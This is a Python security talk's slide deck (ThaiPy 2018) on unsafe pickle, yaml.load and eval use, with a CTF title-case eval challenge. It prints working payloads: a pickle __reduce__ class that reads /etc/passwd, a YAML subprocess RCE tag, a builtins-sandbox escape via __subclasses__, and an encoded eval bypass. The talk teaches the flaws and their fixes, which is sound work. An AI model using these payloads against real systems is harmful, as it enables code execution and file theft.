1 of 37

Some insecure things to avoid in Python

Dominik 'Disconnect3d' Czarnota

ThaiPy, 8.02.2018

2 of 37

# whoami

  • Interested in security, low level stuff and reverse engineering <3
  • Playing Capture The Flag contests in Just Hit the Core team
  • Working for

https://github.com/disconnect3d/

https://disconnect3d.pl/

disconnect3d # irc.freenode.net

2

3 of 37

Lets talk about

pickle

3

4 of 37

pickle example

In [1]: import pickle��In [2]: pickle.dumps([1, 2, 3])Out[2]: b'\x80\x03]q\x00(K\x01K\x02K\x03e.'��In [3]: pickle.loads(_2)Out[3]: [1, 2, 3]��In [4]: pickle.dumps({'abcdef': [1, 2], 123: 321})Out[4]: b'\x80\x03}q\x00(X\x06\x00\x00\x00abcdefq\x01]q\x02(K\x01K\x02eK{MA\x01u.'��In [5]: pickle.loads(_4)Out[5]: {123: 321, 'abcdef': [1, 2]}

4

5 of 37

pickle example

In [6]: class A:...: def __init__(self, x):...: self.x = x ��In [7]: a = A(2)��In [8]: pickle.dumps(a)Out[8]: b'\x80\x03c__main__\nA\nq\x00)\x81q\x01}q\x02X\x01\x00\x00\x00xq\x03K\x02sb.'��In [9]: c = pickle.loads(_8)��In [10]: a.x, c.x, a, c�Out[10]: (2, 2, <__main__.A at 0x7f367809b6a0>, <__main__.A at 0x7f36780c7320>)

5

6 of 37

pickle via the docs...

Warning: The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

6

7 of 37

pickle malicious payload

In [1]: import subprocess� ...: ...: class Malicious:...: def __reduce__(self):...: callable = subprocess.Popen� ...: args = ('/bin/cat', '/etc/passwd') ...: return (callable, (args,)) ...: ��In [2]: with open('abc', 'wb') as f:...: d = pickle.dumps(Malicious())

...: f.write(d) ...:

7

8 of 37

pickle malicious payload

In [1]: import subprocess� ...: ...: class Malicious:...: def __reduce__(self):...: callable = subprocess.Popen� ...: args = ('/bin/cat', '/etc/passwd') ...: return (callable, (args,)) ...: ��In [2]: with open('abc', 'wb') as f:...: d = pickle.dumps(Malicious())

...: f.write(d) ...:

In [1]: import pickle��In [2]: with open('abc', 'rb') as f:...: pickle.loads(f.read())...:

�root:x:0:0:root:/root:/bin/bash�bin:x:1:1:bin:/bin:/usr/bin/nologin�daemon:x:2:2:daemon:/:/usr/bin/nologin�(...)

8

Totally different Python session,

It doesn’t even have subprocess imported

9 of 37

Lets talk about

yaml

9

10 of 37

yaml tutorial

10

11 of 37

yaml tutorial

11

12 of 37

yaml.load(...)

PyYAML allows you to construct a Python object of any type.

>>> yaml.load("""... none: [~, null]... bool: [true, false, on, off]... int: 42... float: 3.14159... list: [LITE, RES_ACID, SUS_DEXT]... dict: {hp: 13, sp: 5}... """)��{'none': [None, None], 'int': 42, 'float': 3.1415899999999999,'list': ['LITE', 'RES_ACID', 'SUS_DEXT'], 'dict': {'hp': 13, 'sp': 5},'bool': [True, False, True, False]}

12

13 of 37

PyYAML allows you to construct a Python object of any type.

In [1]: import yaml��In [2]: yaml.load('''those_RCEs: !!python/object/apply:subprocess.check_output ...: args: [ pwd ] ...: kwds: { shell: true }''')Out[2]: {'those_RCEs': b'/home/dc\n'}

In [3]: !pwd�/home/dc

13

14 of 37

Use yaml.safe_load instead of yaml.load

In [1]: import yaml��In [2]: yaml.safe_load('''those_RCEs: !!python/object/apply:subprocess.check_output ...: args: [ pwd ] ...: kwds: { shell: true }''')

ConstructorError: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/apply:subprocess.check_output'

in "<unicode string>", line 1, column 13:

those_RCEs: !!python/object/apply:subprocess ...

^

14

15 of 37

Offtopic: yaml WTF

15

16 of 37

yaml.load(...) # WTF

In [2]: yaml.load('42')�Out[2]: 42��In [3]: yaml.load('10:42')�Out[3]: 642��In [4]: yaml.load('5:10:42')�Out[4]: 18642��In [5]: yaml.load('1:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0')�Out[5]: 1692665944473600000000000000000��In [6]: yaml.load('1:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:')�Out[6]: {1692665944473600000000000000000: None}

More at: https://github.com/cblp/yaml-sucks

16

17 of 37

Eval?

Everyone knows its insecure, right?

17

18 of 37

Yet another ‘eval’ Python 2 challenge

18

#!/usr/bin/env python

eval(raw_input().title())

19 of 37

Lets see something simpler...

19

#!/usr/bin/env python

eval(raw_input().title())

20 of 37

Can we import?

20

In [2]: eval('import os; os.system("/bin/echo works")')File "<string>", line 1import os; os.system("/bin/echo works")^SyntaxError: invalid syntax�

21 of 37

Yeah

21

In [3]: x = '__import__("os").system("/bin/echo works")'��In [4]: eval(x)�works�

This is a builtin

22 of 37

What if we make the challenge harder?

22

eval(raw_input(), {'__builtins__':{}})

One can specify globals

[and locals] for eval

23 of 37

What if we make the challenge harder?

23

In [1]: x = '__import__("os").system("/bin/echo works")'��In [2]: eval(x, {'__builtins__': {}})���NameError: name '__import__' is not defined�

24 of 37

What if we make the challenge harder?

24

In [18]: x = "{}.__class__.__base__.__subclasses__()[59]()._module�.__builtins__['__import__']('os').system('echo sick')"��In [19]: eval(x, {'__builtins__': {}})�sick�Out[19]: 0

25 of 37

What if we make the challenge harder?

25

In [18]: x = "{}.__class__.__base__.__subclasses__()[59]()._module�.__builtins__['__import__']('os').system('echo sick')"��In [19]: eval(x, {'__builtins__': {}})�sick�Out[19]: 0

This has to be adjusted to be warnings.catch_warnings class

26 of 37

Lets come back to the real challenge

#!/usr/bin/env python

eval(raw_input().title())

26

27 of 37

If we try the previous solution here… it doesn’t work

In [22]: x.title()�Out[22]: "{}.__Class__.__Base__.__Subclasses__()[59]()�._Module.__Builtins__['__Import__']('Os')�.System('Echo Sick')"

27

28 of 37

And the solution comes from...

28

29 of 37

And the solution comes from...

PEP 263 - Defining Python Source Code Encodings

https://www.python.org/dev/peps/pep-0263/

This is about:�# -*- coding: latin-1 -*-�# -*- coding: iso-8859-15 -*-�# -*- coding: ascii -*-�# -*- coding: utf-42 -*-�# -*- coding: utf-8 -*-

29

30 of 37

The solution

eval("# Encoding: Unicode_Escape\r�\\145\\166\\141\\154\\050\\157\\160\\145\\156�\\050\\042\\146\\154\\141\\147\\042\\051\\056�\\162\\145\\141\\144\\050\\061\\060\\062\\064�\\051\\051".title())

30

There are no newlines

31 of 37

The solution

In [24]: !cat flag�Flag file first line�Flag file second line��In [25]: eval("# Encoding: Unicode_Escape\r\\145\\166\\141\\154\\050\\157\\160\\145\\156\\050\\042\\146\\154\\141\\147\\042\\051\\056\\162\\145\\141\\144\\050\\061\\060\\062\\064\\051\\051".title())��File "<string>", line 1� Flag file first line� ^�SyntaxError: invalid syntax

31

32 of 37

eval("# Encoding: Unicode_Escape\r�\\145\\166\\141\\154\\050\\157\\160\\145\\156\\050\\042\\146\\154\\141\\147�\\042\\051\\056\\162\\145\\141\\144\\050\\061\\060\\062\\064\\051\\051".title())

In [26]: s = '\\145\\166\\141 (...)' # string cut for better readability :P��In [27]: s.decode('unicode_escape')�Out[27]: u'eval(open("flag").read(1024))'

32

33 of 37

‘Titlecase’ — challenge genesis

<atem> I'm sorry about the Title Case challenge :)... It came from a real-life code audit, so I had to use it in a challenge :)

<atem> i learned a lot of new stuff about python internals :)

<atem> i still don't know what this developer was thinking though

<atem> his use case was that eval('true'.title()) would be the easiest solution to transform the string 'true' to a python boolean; where 'true' was attacker controlled

33

34 of 37

When you get your input from user

And you “want to” eval(...)

34

35 of 37

Use ast.literal_eval(...) instead*

*works for a Python literal or container display

35

  • Strings
  • Bytes
  • Numbers
  • Tuples
  • Lists
  • Dicts
  • Sets
  • Booleans
  • None

36 of 37

Eventually…

You might try safeeval�

36

37 of 37

The end

Questions?

https://disconnect3d.pl/